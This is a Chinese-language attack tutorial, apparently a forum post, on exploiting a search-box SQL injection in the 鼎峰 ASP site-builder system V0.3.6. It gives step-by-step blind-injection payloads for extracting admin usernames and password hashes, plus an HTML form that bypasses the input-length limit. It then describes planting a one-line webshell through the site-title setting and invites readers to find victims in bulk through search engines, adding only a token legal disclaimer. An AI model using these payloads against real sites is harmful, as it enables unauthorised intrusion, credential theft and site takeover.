作者:莫ㄨ问
版本:鼎峰企业智能建站系统ASP版 V0.3.6
昨天利用这个系统拿了一个webshell,但是是利用下载默认数据库的,后面发现者这套系统界面搞得还不错,就顺便看下它的安全性了。本文就其搜索注入漏洞简单分析和利用,及批量拿shell。
一. 简单分析
漏洞文件:zm_search.asp代码如下
key=Request.Form("key")
if t="" or key="" then
Response.Write("<script>alert('请输入关键词!');history.back();</script>")
Response.End()
end if
if t=1 then
sql="select * from Zm_Product where name like '%"&key&"%' order by ord asc,id desc"
menuname="搜索产品"
else
sql="select * from Zm_News where title like '%"&key&"%' order by ord asc,id desc"
menuname="搜索新闻"
end if
对表单中变量t和key直接获取,只判断是否为空,不为空就带入查询,这就造成了搜索型注入漏洞。
这里照顾下新手:
学习下SQL数据查询中WHERE子句使用Like操作符的知识,Like操作符所起的作用就是模糊查询,要使用Like进行模糊查询必须还要配合通配符才能完成,"%"就是Like操作符中的一种通配符,它代表零个或多个任意字符,为了大家理解,为大家举了一些例子:
Like "黑客%" 返回以黑客开始的任意字符
Like "%黑客" 返回以黑客结尾的任意字符
Like "%黑客%" 返回以包含黑客的任意字符
我们打开一个网站,在搜索框里输入关键字' and 1=1 and '%'='关键字就为"黑帽"吧,点搜索,结果返回与黑帽有关的资料,即语句 黑客' and 1=1 and '%'=',就属于正常,后面在输入语句黑客' and 1=2 and '%'=' 没有找到相关资料。当然这里注意,这个关键字是要能够找到文章的。
二、 漏洞利用
原理知道了,我们构造一下注入语句,这里我们以搜索“鼎峰”这个关键字,鼎峰所有是可以搜索到内容的,记住这里一定要可以搜索到否则后面很难分辨。我们在回到原来的首页搜索输入如下语句:(构造的时候要注意闭合前后%和单引号)
鼎峰%' and 1=1 and '%'=' -----------------语句1
可是无法输入全部代码,看来限制了搜索长度,打开发现最大是20个字符,在看下代码发现它是将search。Asp提交给zm_search.asp处理。这样我们就可以自己写个表单给t和key赋值来突破长度限制。代码就不给了,很简单大家自己写下。把表单action值设置成http://url/search.asp不能提交给zm_search.asp,不清楚的自己去下个代码来看。好了,输入语句1,结果如图1,2:
图1
在一次改变表单中1=1的内容就可以了猜解出来,这里照顾新手,我列出语句并注释作用:
语句2:鼎峰%' and 1=1 and '%'=' ;1=2显然不成立,找不到任何文章,即返回异常
语句3:鼎峰%' and 1<(select count(*) from zm_admin) and '%'=' ;判断管理员的人数是否大于1
语句4:鼎峰%' and (select count(name) from zm_admin)>0 and '%'=' ;判断是否存在表段name,通过查看数据库我们可以直接知道存在的。
语句5:鼎峰%' and (select top 1 asc(mid(name,1,1)) from zm_admin)>96 and '%'=' ;
功能:判断name表段第一个用户名的name的第一个字符的ascii码是否大于96,即是否等于a
同理可以把语句5的中的name字段换成password字段,同样的方法来才接密码md5散列。
当然这种注入用工具也可以扫描出来,但是需要自己添加字段,另外关键词也自己加一个可以搜索到信息的。这里我推荐NBSI和HDSI这两款工具,很简单这里就不演示了。Ok了
三、 后台拿webshell
注入可以得到管理员的密码,那么进入后台看看默认地址:Manage/login.asp 这里简单利用R()函数过滤掉了单引号,万能密码没戏了。直接用注入拿到管理密码登陆。在网站配置标题直接写入一句话木马,不过这里要注意闭合语句,构造如下:
插马成功,如图3:
[localfile=4]
Ok了。百度搜下就可以批量拿webshell了,这里不说大家自己发挥,不要用于非法用途。当然这里系统还有很多问题,有兴趣的朋友可以继续挖掘。
本文到此结束,在此申明本文只作技术交流学习,不得用于非法用途,否则后果自负。
文中难免有错,有疑问的可以联系我www.awolf07.cn或者http://forum.bhst.org
提交的htm表单,比较简单,呵呵..不然有朋友说我忽悠人.
<form name="form1" method="post" action="http://localhost/search.asp">
类型:
<label>
<input name="t" type="text" id="t" value="1">
</label>
<p>
内容:
<label>
<input name="key" type="text" id="key">
</label>
</p>
<p>
<label>
<input type="submit" name="Submit" value="提交">
</label>
</p>
</form>